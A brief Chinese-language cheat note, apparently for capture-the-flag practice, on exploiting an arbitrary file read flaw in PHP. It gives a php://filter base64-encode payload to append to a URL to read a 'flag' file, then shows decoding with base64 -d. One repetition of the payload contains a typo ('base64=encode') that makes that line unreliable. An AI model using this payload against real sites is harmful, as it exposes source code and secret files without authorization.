任意文件读取漏洞

使用方法php://filter/read=convert.base64-encode/resource=xxx

任意文件读取漏洞  php://filter/read=convert.base64-encode/resource=flag

                        在url后边接上

以base64的编码形式 读取flag里面的内容

php://filter/read=convert.base64=encode/resource=flag

用kali来解码

创建一个文件

把需要解码的内容放入文件 

base64 -d 文件

编码

base64 文件